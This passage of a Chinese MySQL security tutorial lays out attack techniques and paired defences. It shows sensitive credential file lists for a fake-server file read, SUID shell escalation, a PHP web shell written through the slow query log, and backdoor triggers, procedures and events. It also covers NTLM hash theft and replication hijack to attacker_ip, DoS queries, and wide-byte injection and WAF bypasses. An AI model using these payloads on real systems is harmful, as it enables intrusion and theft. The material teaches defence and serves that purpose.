    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>攻击者劫持DNS或中间人攻击
将正常的MySQL服务器地址指向恶意服务器
读取开发人员或运维人员的本地文件
</code></pre></div>    </div>
  </li>
  <li><strong>读取云凭证</strong>：
    <div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
 </span><span class="nl">"fileList"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
     </span><span class="s2">"/home/user/.aws/credentials"</span><span class="p">,</span><span class="w">
     </span><span class="s2">"/home/user/.ssh/id_rsa"</span><span class="p">,</span><span class="w">
     </span><span class="s2">"/home/user/.docker/config.json"</span><span class="p">,</span><span class="w">
     </span><span class="s2">"/home/user/.kube/config"</span><span class="p">,</span><span class="w">
     </span><span class="s2">"C:</span><span class="se">\\</span><span class="s2">Users</span><span class="se">\\</span><span class="s2">user</span><span class="se">\\</span><span class="s2">.aws</span><span class="se">\\</span><span class="s2">credentials"</span><span class="w">
 </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div>    </div>
  </li>
</ol>

<p><strong>常见敏感文件路径</strong>：</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">类别</th>
      <th style="text-align: left">Linux</th>
      <th style="text-align: left">Windows</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">用户/密码</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">/etc/passwd</code>、<code class="language-plaintext highlighter-rouge">/etc/shadow</code></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">C:\Windows\win.ini</code></td>
    </tr>
    <tr>
      <td style="text-align: left">SSH密钥</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">/root/.ssh/id_rsa</code></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">C:\Users\[user]\.ssh\id_rsa</code></td>
    </tr>
    <tr>
      <td style="text-align: left">命令历史</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">/root/.bash_history</code></td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">Web配置</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">/var/www/html/config.php</code></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">C:\xampp\mysql\bin\my.ini</code></td>
    </tr>
    <tr>
      <td style="text-align: left">MySQL配置</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">/etc/mysql/my.cnf</code></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">C:\xampp\mysql\bin\my.ini</code></td>
    </tr>
    <tr>
      <td style="text-align: left">云凭证</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">~/.aws/credentials</code></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">C:\Users\[user]\.aws\credentials</code></td>
    </tr>
    <tr>
      <td style="text-align: left">SSH记录</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">~/.ssh/known_hosts</code></td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">FTP凭证</td>
      <td style="text-align: left">-</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">C:\Users\[user]\AppData\Roaming\FileZilla\recentservers.xml</code></td>
    </tr>
  </tbody>
</table>

<p><strong>防御措施</strong>：</p>

<ol>
  <li><strong>客户端配置禁用 LOCAL INFILE</strong>：
    <div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># my.cnf 客户端配置
</span><span class="nn">[client]</span>
<span class="py">local-infile</span><span class="p">=</span><span class="s">0</span>
</code></pre></div>    </div>
  </li>
  <li><strong>连接时显式禁用</strong>：
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 命令行连接</span>
mysql <span class="nt">-h</span> server_ip <span class="nt">-u</span> user <span class="nt">-p</span> <span class="nt">--local-infile</span><span class="o">=</span>0
</code></pre></div>    </div>
  </li>
</ol>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Python连接
</span><span class="kn">import</span> <span class="nn">mysql.connector</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">mysql</span><span class="p">.</span><span class="n">connector</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span>
    <span class="n">host</span><span class="o">=</span><span class="s">'server_ip'</span><span class="p">,</span>
    <span class="n">user</span><span class="o">=</span><span class="s">'user'</span><span class="p">,</span>
    <span class="n">password</span><span class="o">=</span><span class="s">'pass'</span><span class="p">,</span>
    <span class="n">allow_local_infile</span><span class="o">=</span><span class="bp">False</span>  <span class="c1"># 禁用
</span><span class="p">)</span>
</code></pre></div></div>

<ol>
  <li><strong>验证服务器身份</strong>：
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 使用SSL连接并验证证书</span>
mysql <span class="nt">-h</span> server_ip <span class="nt">-u</span> user <span class="nt">-p</span> <span class="se">\</span>
 <span class="nt">--ssl-mode</span><span class="o">=</span>VERIFY_IDENTITY <span class="se">\</span>
 <span class="nt">--ssl-ca</span><span class="o">=</span>/path/to/ca.pem
</code></pre></div>    </div>
  </li>
  <li><strong>网络隔离</strong>：
    <ul>
      <li>不要从不可信网络连接MySQL</li>
      <li>使用VPN或跳板机连接生产数据库</li>
      <li>限制数据库服务器的出站连接</li>
    </ul>
  </li>
  <li><strong>监控异常连接</strong>：
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 监控连接到非预期IP的MySQL连接</span>
netstat <span class="nt">-antp</span> | <span class="nb">grep</span> :3306 | <span class="nb">grep </span>ESTABLISHED
</code></pre></div>    </div>
  </li>
  <li><strong>应用层防护</strong>：
```python
    <h1 id="在应用代码中验证数据库服务器地址">在应用代码中验证数据库服务器地址</h1>
    <p>ALLOWED_DB_HOSTS = [‘10.0.1.100’, ‘10.0.1.101’]</p>
  </li>
</ol>

<p>if db_host not in ALLOWED_DB_HOSTS:
    raise Exception(f”Unauthorized database host: {db_host}”)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
**检测方法**：

```bash
# 检查客户端配置
mysql --help | grep local-infile

# 测试是否允许LOCAL INFILE
mysql -h target_ip -u user -p -e "SHOW VARIABLES LIKE 'local_infile';"
</code></pre></div></div>

<h3 id="73-权限提升---利用suid">7.3 权限提升 - 利用SUID</h3>

<p>如果MySQL的二进制文件被设置了SUID位：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 查找SUID的mysql相关文件</span>
find / <span class="nt">-perm</span> <span class="nt">-4000</span> <span class="nt">-type</span> f 2&gt;/dev/null | <span class="nb">grep </span>mysql

<span class="c"># 如果mysql客户端有SUID，可以利用</span>
mysql <span class="nt">-u</span> root <span class="nt">-p</span> <span class="nt">-e</span> <span class="s1">'\! /bin/bash'</span>
</code></pre></div></div>

<h4 id="-持久化与后门">🐚 持久化与后门</h4>

<h3 id="74-日志投毒log-poisoning">7.4 日志投毒（Log Poisoning）</h3>

<p>除了前面提到的通过 <code class="language-plaintext highlighter-rouge">general_log</code> 写入WebShell，还可以利用其他日志机制：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 通过慢查询日志写入</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">slow_query_log</span> <span class="o">=</span> <span class="s1">'ON'</span><span class="p">;</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">slow_query_log_file</span> <span class="o">=</span> <span class="s1">'/var/www/html/shell.php'</span><span class="p">;</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">long_query_time</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="s1">'&lt;?php system($_GET["cmd"]); ?&gt;'</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="k">user</span> <span class="k">WHERE</span> <span class="n">SLEEP</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>

<span class="c1">-- 通过二进制日志（需要解码）</span>
<span class="k">SET</span> <span class="n">SQL_LOG_BIN</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="c1">-- 执行包含恶意代码的SQL，然后从binlog中提取</span>
</code></pre></div></div>

<h3 id="75-利用触发器trigger持久化">7.5 利用触发器（Trigger）持久化</h3>

<p>攻击者可以创建触发器，在特定操作时自动执行恶意代码：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 创建后门触发器</span>
<span class="k">CREATE</span> <span class="k">TRIGGER</span> <span class="n">backdoor_trigger</span>
<span class="k">BEFORE</span> <span class="k">INSERT</span> <span class="k">ON</span> <span class="n">users</span>
<span class="k">FOR</span> <span class="k">EACH</span> <span class="k">ROW</span>
<span class="k">BEGIN</span>
    <span class="n">IF</span> <span class="k">NEW</span><span class="p">.</span><span class="n">username</span> <span class="o">=</span> <span class="s1">'backdoor_user'</span> <span class="k">THEN</span>
        <span class="k">SET</span> <span class="k">NEW</span><span class="p">.</span><span class="n">password</span> <span class="o">=</span> <span class="n">MD5</span><span class="p">(</span><span class="s1">'known_password'</span><span class="p">);</span>
        <span class="k">SET</span> <span class="k">NEW</span><span class="p">.</span><span class="k">role</span> <span class="o">=</span> <span class="s1">'admin'</span><span class="p">;</span>
    <span class="k">END</span> <span class="n">IF</span><span class="p">;</span>
<span class="k">END</span><span class="p">;</span>

<span class="c1">-- 查看所有触发器</span>
<span class="k">SHOW</span> <span class="n">TRIGGERS</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">TRIGGERS</span><span class="p">;</span>

<span class="c1">-- 删除触发器</span>
<span class="k">DROP</span> <span class="k">TRIGGER</span> <span class="n">backdoor_trigger</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="76-利用存储过程stored-procedure">7.6 利用存储过程（Stored Procedure）</h3>

<p>存储过程可以封装复杂逻辑，也可能被用于隐藏后门：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 创建后门存储过程</span>
<span class="k">DELIMITER</span> <span class="err">$$</span>
<span class="k">CREATE</span> <span class="k">PROCEDURE</span> <span class="n">backdoor_proc</span><span class="p">(</span><span class="k">IN</span> <span class="n">cmd</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">255</span><span class="p">))</span>
<span class="k">BEGIN</span>
    <span class="k">DECLARE</span> <span class="k">result</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span>
    <span class="c1">-- 如果有UDF，可以执行系统命令</span>
    <span class="k">SELECT</span> <span class="n">sys_exec</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span> <span class="k">INTO</span> <span class="k">result</span><span class="p">;</span>
<span class="k">END</span><span class="err">$$</span>
<span class="k">DELIMITER</span> <span class="p">;</span>

<span class="c1">-- 调用</span>
<span class="k">CALL</span> <span class="n">backdoor_proc</span><span class="p">(</span><span class="s1">'whoami'</span><span class="p">);</span>

<span class="c1">-- 审计存储过程</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">ROUTINES</span> <span class="k">WHERE</span> <span class="n">ROUTINE_TYPE</span><span class="o">=</span><span class="s1">'PROCEDURE'</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="77-利用事件调度器event-scheduler">7.7 利用事件调度器（Event Scheduler）</h3>

<p>MySQL的事件调度器可以定时执行SQL语句，攻击者可以创建定时任务：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 启用事件调度器</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">event_scheduler</span> <span class="o">=</span> <span class="k">ON</span><span class="p">;</span>

<span class="c1">-- 创建定时后门（每分钟检查特定表，执行命令）</span>
<span class="k">CREATE</span> <span class="n">EVENT</span> <span class="n">backdoor_event</span>
<span class="k">ON</span> <span class="n">SCHEDULE</span> <span class="k">EVERY</span> <span class="mi">1</span> <span class="k">MINUTE</span>
<span class="k">DO</span>
<span class="k">BEGIN</span>
    <span class="k">DECLARE</span> <span class="n">cmd</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">255</span><span class="p">);</span>
    <span class="k">SELECT</span> <span class="n">command</span> <span class="k">INTO</span> <span class="n">cmd</span> <span class="k">FROM</span> <span class="n">backdoor_commands</span> <span class="k">LIMIT</span> <span class="mi">1</span><span class="p">;</span>
    <span class="n">IF</span> <span class="n">cmd</span> <span class="k">IS</span> <span class="k">NOT</span> <span class="k">NULL</span> <span class="k">THEN</span>
        <span class="c1">-- 执行命令（需要UDF支持）</span>
        <span class="k">SELECT</span> <span class="n">sys_exec</span><span class="p">(</span><span class="n">cmd</span><span class="p">);</span>
        <span class="k">DELETE</span> <span class="k">FROM</span> <span class="n">backdoor_commands</span> <span class="k">LIMIT</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">END</span> <span class="n">IF</span><span class="p">;</span>
<span class="k">END</span><span class="p">;</span>

<span class="c1">-- 查看所有事件</span>
<span class="k">SHOW</span> <span class="n">EVENTS</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">EVENTS</span><span class="p">;</span>

<span class="c1">-- 删除事件</span>
<span class="k">DROP</span> <span class="n">EVENT</span> <span class="n">backdoor_event</span><span class="p">;</span>
</code></pre></div></div>

<h4 id="-网络与系统攻击">🌐 网络与系统攻击</h4>

<h3 id="78-利用unc路径触发ntlm认证与网络请求">7.8 利用UNC路径触发NTLM认证与网络请求</h3>

<p>MySQL本身的 <code class="language-plaintext highlighter-rouge">LOAD DATA INFILE</code> <strong>不支持HTTP协议</strong>，只能读取本地文件系统路径。但在 <strong>Windows环境</strong> 下，MySQL可以通过UNC路径触发SMB请求，从而发起对外网络连接，实现NTLM哈希窃取或与内网服务交互。</p>

<p><strong>利用方式</strong>：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 通过UNC路径触发SMB请求，窃取NTLM哈希（仅Windows）</span>
<span class="k">SELECT</span> <span class="n">LOAD_FILE</span><span class="p">(</span><span class="s1">'</span><span class="se">\\\\</span><span class="s1">attacker_ip</span><span class="se">\\</span><span class="s1">share</span><span class="se">\\</span><span class="s1">file.txt'</span><span class="p">);</span>

<span class="c1">-- 配合Responder等工具捕获NTLM哈希</span>
<span class="c1">-- 攻击者在attacker_ip上运行：responder -I eth0</span>
</code></pre></div></div>

<p><strong>配合SSRF的场景</strong>：</p>

<p>如果目标应用存在SSRF漏洞，攻击者可以让目标服务器连接到恶意MySQL服务端（参见7.2节 Fake MySQL Server），进而利用 <code class="language-plaintext highlighter-rouge">LOAD DATA LOCAL INFILE</code> 读取目标服务器上的敏感文件。这种间接方式才是MySQL在SSRF攻击链中的真正角色。</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>攻击链示例：
1. 发现Web应用SSRF漏洞（如数据库连接配置可控）
2. 将数据库地址指向攻击者的恶意MySQL服务端
3. 恶意服务端利用协议特性要求客户端发送本地文件
4. 获取目标服务器上的敏感文件（配置文件、密钥等）
</code></pre></div></div>

<p><strong>防御</strong>：</p>
<ul>
  <li>设置 <code class="language-plaintext highlighter-rouge">secure_file_priv = NULL</code> 禁止所有文件操作</li>
  <li>Windows环境下限制MySQL进程的出站SMB连接</li>
  <li>数据库连接地址使用白名单，禁止用户可控</li>
</ul>

<h3 id="79-拒绝服务攻击dos">7.9 拒绝服务攻击（DoS）</h3>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 正则表达式DoS（ReDoS）</span>
<span class="k">SELECT</span> <span class="s1">'aaaaaaaaaaaaaaaaaaaaaaaaaaaa'</span> <span class="n">REGEXP</span> <span class="s1">'(a+)+$'</span><span class="p">;</span>

<span class="c1">-- 笛卡尔积导致资源耗尽</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">large_table1</span><span class="p">,</span> <span class="n">large_table2</span><span class="p">,</span> <span class="n">large_table3</span><span class="p">;</span>

<span class="c1">-- 递归查询导致栈溢出（MySQL 8.0+）</span>
<span class="k">WITH</span> <span class="k">RECURSIVE</span> <span class="n">cte</span> <span class="k">AS</span> <span class="p">(</span>
    <span class="k">SELECT</span> <span class="mi">1</span> <span class="k">AS</span> <span class="n">n</span>
    <span class="k">UNION</span> <span class="k">ALL</span>
    <span class="k">SELECT</span> <span class="n">n</span><span class="o">+</span><span class="mi">1</span> <span class="k">FROM</span> <span class="n">cte</span> <span class="k">WHERE</span> <span class="n">n</span> <span class="o">&lt;</span> <span class="mi">999999999</span>
<span class="p">)</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">cte</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>防御</strong>：</p>
<ul>
  <li>设置 <code class="language-plaintext highlighter-rouge">max_execution_time</code> 限制查询时间</li>
  <li>设置 <code class="language-plaintext highlighter-rouge">max_connections</code> 限制并发连接数</li>
  <li>使用 <code class="language-plaintext highlighter-rouge">max_user_connections</code> 限制单用户连接数</li>
</ul>

<h3 id="710-信息泄露">7.10 信息泄露</h3>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 获取数据库版本和系统信息</span>
<span class="k">SELECT</span> <span class="k">VERSION</span><span class="p">();</span>
<span class="k">SELECT</span> <span class="o">@@</span><span class="n">version_compile_os</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="o">@@</span><span class="n">version_compile_machine</span><span class="p">;</span>

<span class="c1">-- 获取当前用户和权限</span>
<span class="k">SELECT</span> <span class="k">USER</span><span class="p">();</span>
<span class="k">SELECT</span> <span class="k">CURRENT_USER</span><span class="p">();</span>
<span class="k">SHOW</span> <span class="n">GRANTS</span><span class="p">;</span>

<span class="c1">-- 获取所有数据库</span>
<span class="k">SHOW</span> <span class="n">DATABASES</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="k">schema_name</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">schemata</span><span class="p">;</span>

<span class="c1">-- 获取所有用户</span>
<span class="k">SELECT</span> <span class="k">user</span><span class="p">,</span> <span class="k">host</span><span class="p">,</span> <span class="n">authentication_string</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="k">user</span><span class="p">;</span>

<span class="c1">-- 获取配置信息</span>
<span class="k">SHOW</span> <span class="n">VARIABLES</span><span class="p">;</span>
<span class="k">SHOW</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="s1">'%dir%'</span><span class="p">;</span>  <span class="c1">-- 查看重要目录路径</span>

<span class="c1">-- 获取进程列表（可能泄露其他用户的查询）</span>
<span class="k">SHOW</span> <span class="n">PROCESSLIST</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">PROCESSLIST</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>防御</strong>：</p>
<ul>
  <li>限制 <code class="language-plaintext highlighter-rouge">information_schema</code> 的访问权限</li>
  <li>禁止应用账号执行 <code class="language-plaintext highlighter-rouge">SHOW PROCESSLIST</code></li>
  <li>错误信息不要暴露给前端用户</li>
</ul>

<h3 id="711-利用主从复制">7.11 利用主从复制</h3>

<p>在主从复制环境中，如果从库配置不当，可能被利用：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 在从库上执行（如果有权限）</span>
<span class="n">STOP</span> <span class="n">SLAVE</span><span class="p">;</span>
<span class="n">CHANGE</span> <span class="n">MASTER</span> <span class="k">TO</span> <span class="n">MASTER_HOST</span><span class="o">=</span><span class="s1">'attacker_ip'</span><span class="p">,</span> <span class="n">MASTER_USER</span><span class="o">=</span><span class="s1">'root'</span><span class="p">,</span> <span class="n">MASTER_PASSWORD</span><span class="o">=</span><span class="s1">''</span><span class="p">;</span>
<span class="k">START</span> <span class="n">SLAVE</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>防御</strong>：</p>
<ul>
  <li>从库使用只读模式：<code class="language-plaintext highlighter-rouge">read_only=1</code> 和 <code class="language-plaintext highlighter-rouge">super_read_only=1</code></li>
  <li>主从复制使用SSL加密</li>
  <li>复制账号使用强密码，仅授予 <code class="language-plaintext highlighter-rouge">REPLICATION SLAVE</code> 权限</li>
</ul>

<h4 id="-权限绕过与隐蔽信道">🔓 权限绕过与隐蔽信道</h4>

<h3 id="712-利用视图view的-sql-security-definer-提权">7.12 利用视图（View）的 SQL SECURITY DEFINER 提权</h3>

<p>MySQL视图有两种安全模式：<code class="language-plaintext highlighter-rouge">SQL SECURITY DEFINER</code>（以视图创建者的权限执行）和 <code class="language-plaintext highlighter-rouge">SQL SECURITY INVOKER</code>（以调用者的权限执行）。当高权限用户使用 <code class="language-plaintext highlighter-rouge">DEFINER</code> 模式创建视图并授权给低权限用户时，低权限用户可以借助视图间接访问到自身无权限的数据。</p>

<p><strong>攻击场景</strong>：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- DBA使用root创建了一个DEFINER视图</span>
<span class="k">CREATE</span> <span class="k">DEFINER</span><span class="o">=</span><span class="s1">'root'</span><span class="o">@</span><span class="s1">'localhost'</span> <span class="k">SQL</span> <span class="k">SECURITY</span> <span class="k">DEFINER</span>
<span class="k">VIEW</span> <span class="n">all_users</span> <span class="k">AS</span> <span class="k">SELECT</span> <span class="k">user</span><span class="p">,</span> <span class="k">host</span><span class="p">,</span> <span class="n">authentication_string</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="k">user</span><span class="p">;</span>

<span class="c1">-- 然后授予普通用户访问权限</span>
<span class="k">GRANT</span> <span class="k">SELECT</span> <span class="k">ON</span> <span class="n">mydb</span><span class="p">.</span><span class="n">all_users</span> <span class="k">TO</span> <span class="s1">'app_user'</span><span class="o">@</span><span class="s1">'%'</span><span class="p">;</span>

<span class="c1">-- 低权限用户通过视图可以读取mysql.user表（本来无权限）</span>
<span class="c1">-- 以app_user登录后执行：</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">mydb</span><span class="p">.</span><span class="n">all_users</span><span class="p">;</span>
<span class="c1">-- 成功获取所有用户的密码哈希！</span>
</code></pre></div></div>

<p><strong>审计方法</strong>：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 查找所有使用DEFINER模式的视图</span>
<span class="k">SELECT</span> <span class="n">TABLE_SCHEMA</span><span class="p">,</span> <span class="k">TABLE_NAME</span><span class="p">,</span> <span class="k">DEFINER</span><span class="p">,</span> <span class="n">SECURITY_TYPE</span>
<span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">VIEWS</span>
<span class="k">WHERE</span> <span class="n">SECURITY_TYPE</span> <span class="o">=</span> <span class="s1">'DEFINER'</span><span class="p">;</span>

<span class="c1">-- 检查视图的DEFINER是否为高权限用户</span>
<span class="k">SELECT</span> <span class="n">v</span><span class="p">.</span><span class="n">TABLE_SCHEMA</span><span class="p">,</span> <span class="n">v</span><span class="p">.</span><span class="k">TABLE_NAME</span><span class="p">,</span> <span class="n">v</span><span class="p">.</span><span class="k">DEFINER</span><span class="p">,</span> <span class="n">v</span><span class="p">.</span><span class="n">SECURITY_TYPE</span><span class="p">,</span> <span class="n">v</span><span class="p">.</span><span class="n">VIEW_DEFINITION</span>
<span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">VIEWS</span> <span class="n">v</span>
<span class="k">WHERE</span> <span class="n">v</span><span class="p">.</span><span class="n">SECURITY_TYPE</span> <span class="o">=</span> <span class="s1">'DEFINER'</span>
  <span class="k">AND</span> <span class="n">v</span><span class="p">.</span><span class="k">DEFINER</span> <span class="k">LIKE</span> <span class="s1">'root@%'</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>防御</strong>：</p>
<ul>
  <li>优先使用 <code class="language-plaintext highlighter-rouge">SQL SECURITY INVOKER</code> 模式创建视图</li>
  <li>使用 <code class="language-plaintext highlighter-rouge">DEFINER</code> 时，DEFINER账号应遵循最小权限原则，不要使用root</li>
  <li>定期审计 <code class="language-plaintext highlighter-rouge">information_schema.VIEWS</code> 中的 <code class="language-plaintext highlighter-rouge">SECURITY_TYPE</code> 和 <code class="language-plaintext highlighter-rouge">DEFINER</code> 字段</li>
  <li>遵循最小权限原则，不要通过视图间接暴露敏感表</li>
</ul>

<h3 id="713-利用预处理语句prepared-statement绕过waf">7.13 利用预处理语句（Prepared Statement）绕过WAF</h3>

<p>某些WAF或过滤机制可能被预处理语句绕过：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 使用预处理语句执行动态SQL</span>
<span class="k">SET</span> <span class="o">@</span><span class="k">sql</span> <span class="o">=</span> <span class="n">CONCAT</span><span class="p">(</span><span class="s1">'SELECT * FROM users WHERE id = '</span><span class="p">,</span> <span class="o">@</span><span class="n">user_input</span><span class="p">);</span>
<span class="k">PREPARE</span> <span class="n">stmt</span> <span class="k">FROM</span> <span class="o">@</span><span class="k">sql</span><span class="p">;</span>
<span class="k">EXECUTE</span> <span class="n">stmt</span><span class="p">;</span>
<span class="k">DEALLOCATE</span> <span class="k">PREPARE</span> <span class="n">stmt</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="714-利用字符集转换绕过宽字节注入">7.14 利用字符集转换绕过（宽字节注入）</h3>

<h4 id="宽字节注入原理">宽字节注入原理</h4>

<p>当MySQL客户端使用GBK等多字节编码时，攻击者可以利用编码转换的特性绕过基于 <code class="language-plaintext highlighter-rouge">addslashes()</code> 或 <code class="language-plaintext highlighter-rouge">mysql_real_escape_string()</code> 的转义防护。</p>

<p><strong>攻击原理</strong>：</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>正常转义流程：
  输入:     ' OR 1=1--
  转义后:   \' OR 1=1--     （单引号被反斜杠转义，注入失败）

宽字节注入流程（GBK编码）：
  输入:     %bf' OR 1=1--
  转义后:   %bf\' OR 1=1--  （即 %bf%5c%27 OR 1=1--）
  GBK解码:  縗' OR 1=1--    （%bf%5c 被合并为GBK汉字"縗"，单引号逃逸！）
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">addslashes()</code> 在单引号 <code class="language-plaintext highlighter-rouge">'</code>（0x27）前插入反斜杠 <code class="language-plaintext highlighter-rouge">\</code>（0x5c）。但在GBK编码中，<code class="language-plaintext highlighter-rouge">0xbf5c</code> 是一个合法的双字节汉字。因此 <code class="language-plaintext highlighter-rouge">0xbf</code> + <code class="language-plaintext highlighter-rouge">0x5c</code>（反斜杠）被GBK解释器”吞掉”，导致后面的单引号 <code class="language-plaintext highlighter-rouge">0x27</code> 逃逸出来，注入成功。</p>

<p><strong>利用示例</strong>：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 宽字节注入（GBK编码环境）</span>
<span class="c1">-- 输入: %df' OR 1=1--</span>
<span class="c1">-- 转换后: 運' OR 1=1--（%df%5c被合并为汉字"運"）</span>

<span class="c1">-- 使用十六进制绕过关键字过滤</span>
<span class="k">SELECT</span> <span class="mi">0</span><span class="n">x61646D696E</span><span class="p">;</span>  <span class="c1">-- 等同于 'admin'</span>

<span class="c1">-- 使用CHAR函数绕过</span>
<span class="k">SELECT</span> <span class="nb">CHAR</span><span class="p">(</span><span class="mi">97</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">110</span><span class="p">);</span>  <span class="c1">-- 等同于 'admin'</span>
</code></pre></div></div>

<p><strong>防御</strong>：</p>
<ul>
  <li><strong>统一使用UTF-8编码</strong>，在连接和数据库层面都设置 <code class="language-plaintext highlighter-rouge">character_set_client=utf8mb4</code></li>
  <li>使用参数化查询（PreparedStatement）而非字符串转义</li>
  <li>在 <code class="language-plaintext highlighter-rouge">my.cnf</code> 中强制编码：</li>
</ul>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[mysqld]</span>
<span class="py">character-set-server</span> <span class="p">=</span> <span class="s">utf8mb4</span>
<span class="py">collation-server</span> <span class="p">=</span> <span class="s">utf8mb4_unicode_ci</span>

<span class="nn">[client]</span>
<span class="py">default-character-set</span> <span class="p">=</span> <span class="s">utf8mb4</span>
</code></pre></div></div>

<h3 id="715-利用mysql注释绕过">7.15 利用MySQL注释绕过</h3>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 内联注释绕过</span>
<span class="k">SELECT</span><span class="cm">/**/</span><span class="n">username</span><span class="cm">/**/</span><span class="k">FROM</span><span class="cm">/**/</span><span class="n">users</span><span class="p">;</span>

<span class="c1">-- 版本注释（特定版本才执行）</span>
<span class="cm">/*!50000 SELECT * FROM users */</span><span class="p">;</span>

<span class="c1">-- 多行注释</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="cm">/*! WHERE id=1 */</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="716-dns外带dns-exfiltration">7.16 DNS外带（DNS Exfiltration）</h3>

<p>在无回显的情况下，可以通过DNS查询带出数据：</p>

